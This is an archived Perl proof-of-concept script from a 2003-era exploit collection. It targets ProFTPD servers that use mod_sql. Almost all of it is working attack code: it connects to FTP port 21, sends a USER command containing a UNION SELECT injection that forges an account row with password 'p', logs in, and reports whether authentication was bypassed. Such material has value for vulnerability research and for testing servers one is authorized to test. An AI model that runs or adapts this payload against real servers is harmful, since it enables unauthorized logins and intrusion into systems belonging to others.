home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / runlevel-proftpd.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  44 lines

  1. #!/usr/bin/perl
  2. # Sql inject on ProFTPD with mod_sql proof of concept script
  3. # runlevel [ runlevel@raregazz.org ]
  4. # Spain, 2003
  5.  
  6. use IO::Socket;
  7. if(@ARGC<2){
  8.     print "\nProof Of Concept Sql Inject on ProFTPD\n";
  9.     print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
  10.     exit(0);
  11. };
  12.  
  13. $server = $ARGV[0];
  14. $query = $ARGV[1];
  15. $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1) 
  16.                           or die "Can't connect. \n";
  17. if(defined($line=<$remote>)){
  18.     print STDOUT $line;
  19. }
  20.  
  21. # Proof of concept query, it may change on the number of rows
  22. # By default, it can query User, Pass, Uid, Gid, Shell or
  23. # User, Pass, Uid, Gid, Shell, Path, change the union query...
  24.  
  25. if($query eq "1"){
  26.     print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
  27. }else{
  28.     print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
  29. };
  30. if(defined($line=<$remote>)){
  31.     print STDOUT $line;
  32. }
  33. print $remote "PASS p\n";
  34. if(defined($line=<$remote>)){
  35.     print STDOUT $line;
  36. }
  37. print "Sent query to $ARGV[0]\n";
  38. if($line =~ /230/){  #logged in
  39.     print "[------- Sql Inject Able \n";
  40. }else{
  41.     print "[------- Sql Inject Unable \n";
  42. }
  43. close $remote;
  44.